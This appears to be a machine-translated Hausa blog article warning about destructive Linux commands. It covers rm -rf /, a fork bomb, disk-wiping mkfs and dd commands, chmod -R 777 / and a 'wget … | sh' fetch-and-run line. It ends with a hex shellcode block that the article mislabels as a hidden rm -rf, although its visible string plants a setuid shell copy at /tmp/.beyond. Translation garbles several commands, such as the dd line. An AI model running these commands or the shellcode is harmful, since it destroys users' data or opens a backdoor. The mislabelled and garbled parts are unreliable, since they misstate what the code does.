Yawancin Dokoki masu Haɗari - Bai kamata ku taɓa aiwatar da Linux ba


Ƙididdigar layi na umarni yana da ƙarfi kuma mai amfani don gudanar da tsarin Linux. Yana ba da hanya mai sauri da dacewa ta tafiyar da tsarin, musamman lokacin sarrafa tsarin marasa kai waɗanda ba su da ƙirar hoto.

Yayinda yake da amfani wajen sarrafa tsarin ku, layin umarni yana cike da haɗari. Gudun munanan umarni na iya haifar da lahani da lalacewar da ba za a iya murmurewa ba ga tsarin ku. A cikin wannan jagorar, mun tattara jerin wasu dokoki masu haɗari waɗanda bai kamata ku yi tunanin aiwatar da tsarin ku ba.

1. rm -rf/Umurni

Umurnin rm umarni ne na Linux da ake amfani da shi don share fayiloli da kundayen adireshi dangane da gardama da aka yi amfani da su. Koyaya, ya kamata a yi taka tsantsan yayin amfani da umarnin rm azaman ƙaramin bugun rubutu ko kuskure na iya haifar da lalacewar tsarin da ba za a iya murmurewa ba.

Lokacin da aka aiwatar da tushen tare da zaɓin -rf /, umarnin yana sake share duk fayiloli da kundayen adireshi akan tsarin ku wanda ya fara daga tushen (/) wanda shine mafi girma a cikin Linux. Tsarin Tsarin Fayil. A taƙaice, umarnin rm -rf / yana shafe tsarin ku gaba ɗaya wanda ya haifar da karyewar tsarin da ba a iya murmurewa.

Wasu zaɓuɓɓukan da aka yi amfani da su tare da umarnin rm sune.

    Ana amfani da umurnin
  • rm a cikin Linux don share fayiloli.
  • Umarnin rm -r yana goge babban fayil akai-akai, har ma da wanda ba komai a ciki.
  • rm -f umurnin yana cire 'Karanta Fayil kawai' ba tare da tambaya ba.
  • rm -rf/: Tilasta goge duk abin da ke cikin tushen directory.
  • rm -rf * : Tilasta goge duk abin da ke cikin kundin adireshi/aiki na yanzu.
  • rm-rf . : Tilasta goge babban fayil na yanzu da manyan fayiloli.

A zahiri, lokacin da kuke gudanar da umarni azaman mai amfani na yau da kullun, zaku sami gargaɗi biyu akan tashar.

Don shawo kan shafewar fayiloli na bazata ta hanyar 'rm', ƙirƙirar sunan laƙabi na umurnin 'rm' a matsayin 'rm -i' a cikin fayil \.bashrc, zai neme ku don tabbatar da kowane gogewa.

2. :(){:|:&};: Umurni

Abin da ke sama shine ainihin bam ɗin cokali mai yatsa. Yana aiki ta hanyar ƙirƙirar wani aiki mai suna :, wanda ke kiran kansa sau biyu, sau ɗaya a gaba kuma sau ɗaya a bango. Ayyukan yana aiwatarwa akai-akai kuma a yin haka, yana cinye duk albarkatun tsarin da ke haifar da hadarin tsarin.

A zahiri, umarnin bam ɗin cokali mai yatsa shine ainihin nau'in harin DoS (Kin-Sabis). Ana kuma kiranta da cutar Wabbit ko zomo. Mafi munin sashi shine cewa ba kwa buƙatar zama tushen don ƙaddamar da wannan harin.

Alhamdu lillahi, zaku iya kare kanku daga wannan harin ta hanyar iyakance adadin hanyoyin da masu amfani da gida ke gudanarwa zuwa kusan 4000.

Kuna iya yin haka ta hanyar gudanar da umarni:

$ ulimit -S -u 4000

Kuna iya tabbatar da hakan daga baya ta amfani da umarnin:

$ ulimit -u

3. umarni > /dev/sda

Gudun umarni da >/dev/sda ke biye da shi yana sake rubuta block ɗin /dev/sda akan rumbun kwamfutarka. Wannan toshe yana ƙunshe da bayanan tsarin fayil kuma idan an sake rubuta shi, yana haifar da lalacewar tsarin da ba za a iya murmurewa ba.

4. mv fayil /dev/null

Wani aiki mai cutarwa wanda bai kamata ku gwada shi ba shine matsar da directory ko fayil zuwa /dev/null. Fayil na /dev/null nau'in fayil ne na musamman da aka sani da na'urar banza ko black hole. Duk wani abu da aka matsa zuwa /dev/null ana watsar da shi kuma ana lalata shi.

Umurni mai zuwa yana matsar da duk abubuwan da ke cikin kundin adireshin gida na mai amfani zuwa /dev/null, saboda haka yana watsar da duk bayanan da ke cikin kundin adireshin gida na mai amfani.

# mv /home/user/* /dev/null

5. wget http://malicious_source -O- | sh

Umurnin wget umarni ne wanda ke zazzage fayiloli daga gidan yanar gizo ko uwar garken fayil. Umurnin da ke sama yana zazzage rubutun daga tushe mara kyau sannan ya aiwatar da shi.

6. mkfs.ext3 /dev/sda

Umurnin mkfs yana haifar da sabon tsarin fayil (ko dai ext2, ext3, ext4, da sauransu) akan na'urar da aka tsara, a mafi yawan lokuta bangare na rumbun diski. Gudanar da umarnin mkfs akan bangare yana goge duk bayanan da aka adana a ciki.

Yayin da yake da amfani wajen tsara sassan faifai, tsara tsarin gaba ɗaya (kamar mkfs.ext3 /dev/sda) ya rushe tsarin kuma ya bar shi cikin yanayin da ba za a iya murmurewa ba. Wannan yana faruwa ne saboda yana lalata duk fayilolin tsarin tare da keɓaɓɓen bayanan ku.

Umurnin kuma na iya ɗaukar wasu siffofi kamar yadda aka nuna a ƙasa.

# mkfs.ext4 /dev/sda
# mkfs.xfs /dev/sda
# mkfs.btrfs /dev/sda

7. > Dokar fayil

Fayil na > yana goge abun cikin fayil kuma ya bar shi babu komai. Yana daidai da cat /dev/null> umurnin fayil. Don haka ya kamata a yi taka tsantsan yayin amfani da masu aikin juyawa a cikin tsarin Linux.

A ƙasa akwai nunin yadda wannan umarni ke sake rubuta fayil ɗin rubutu. Kuna iya tunanin bala'in da wannan umarnin zai haifar lokacin da fayil ɗin da ke ciki shine fayil ɗin daidaitawa.

8. ^fo^bar

Umurnin ^foo^bar yana da haɗari kamar yadda yake da amfani dangane da yadda ake aiwatar da shi. Yayin da yake ba ku damar gyara umarnin da aka aiwatar a baya da sake aiwatar da su, zai iya zama bala'i idan ba ku da sha'awar canje-canjen da aka yi ga umarnin kafin gudanar da su.

9. dd idan =/dev/random na =/dev/sda

Umurnin da ke sama yana goge toshe/dev/sda kuma yana rubuta bayanan takarce zuwa toshe. Za a bar tsarin ku a matakin da bai dace ba kuma ba za a iya murmurewa ba.

10. Chmod -R 777 /

Duk da yake ba zai iya rushe tsarin Linux ɗinku nan da nan ba, umarnin chmod -R 777 / yana ba da izini akai-akai (karanta, rubuta da aiwatarwa) ga duk fayiloli akan tsarin Linux ɗinku waɗanda suka fara daga tushen.

Wannan yana fallasa duk mahimman fayilolin sanyi da sauran fayiloli ga duk masu amfani kuma wannan yana haifar da babbar haɗarin tsaro ga tsarin ku. Duk wanda ke da mugun nufi zai iya yin tinker tare da mahimman fayiloli kuma cikin sauƙi karya tsarin ku.

11. Umurni na Boye

Umurnin da ke ƙasa ba komai bane illa umarni na farko a sama (rm -rf) . Anan lambobin suna ɓoye a cikin hex don a yaudare mai amfani da jahilci. Gudun lambar da ke ƙasa a cikin tashar ku zai shafe tushen ɓangaren ku.

Wannan umarni a nan yana nuna cewa barazanar na iya zama ɓoyayye kuma ba za a iya gano ta ba a wasu lokuta. Dole ne ku san abin da kuke yi da abin da zai zama sakamakon. Kar a tattara/ gudanar da lambobi daga tushen da ba a sani ba.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Lura: Kada ku aiwatar da ɗayan waɗannan umarni na sama a cikin tashar Linux ɗinku ko harsashi ko akan abokinku ko kwamfutar makaranta. Idan kuna son gwada su, kunna su akan injin kama-da-wane.

Duk wani rashin daidaituwa ko asarar bayanai, saboda aiwatar da umarnin da ke sama zai rushe tsarin ku wanda, Marubucin labarin ko Tecment ba shi da alhakin.

Shi ke nan a yanzu. Zan sake kasancewa a nan tare da wani labarin mai ban sha'awa da mutane za ku so ku karanta. Har zuwa lokacin Tsaya kuma ku haɗa zuwa Tecment.

Idan kun san wasu irin waɗannan Dokokin Linux masu haɗari kuma kuna son mu ƙara su cikin jerin, da fatan za a gaya mana ta sashin sharhi, kuma kar ku manta da bayar da ra'ayin ku mai mahimmanci.